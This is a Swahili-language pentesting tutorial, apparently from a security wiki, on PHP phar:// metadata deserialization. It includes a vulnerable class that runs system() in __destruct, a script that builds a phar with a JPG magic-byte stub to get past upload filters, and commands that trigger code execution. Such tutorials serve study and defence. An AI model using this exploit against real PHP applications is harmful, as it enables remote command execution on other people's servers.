# phar:// deserialization

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**Phar** files (PHP Archive) files **zina metadata katika muundo wa serialized**, hivyo, wakati zinapochambuliwa, hii **metadata** inakuwa **deserialized** na unaweza kujaribu kutumia udhaifu wa **deserialization** ndani ya **PHP** code.

Jambo bora kuhusu sifa hii ni kwamba deserialization hii itatokea hata kwa kutumia kazi za PHP ambazo hazifanyi eval PHP code kama **file\_get\_contents(), fopen(), file() au file\_exists(), md5\_file(), filemtime() au filesize()**.

Hivyo, fikiria hali ambapo unaweza kufanya PHP web ipate ukubwa wa faili isiyo na mipaka kwa kutumia **`phar://`** protocol, na ndani ya code unapata **class** inayofanana na ifuatayo:

{% code title="vunl.php" %}
```php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path
```
{% endcode %}

Unaweza kuunda faili la **phar** ambalo linapoload litafanya **kudhulumu darasa hili ili kutekeleza amri zisizo na mipaka** kwa kitu kama:

{% code title="create_phar.php" %}
```php
<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
{% endcode %}

Kumbuka jinsi **bajeti za kichawi za JPG** (`\xff\xd8\xff`) zinavyoongezwa mwanzoni mwa faili la phar ili **kupita** **vizuizi** vya **kupakia** **faili** **vinavyoweza**.\
**Tengeneza** faili la `test.phar` kwa:
```bash
php --define phar.readonly=0 create_phar.php
```
Na kutekeleza amri ya `whoami` kwa kutumia nambari iliyo hatarini na:
```bash
php vuln.php
```
### References

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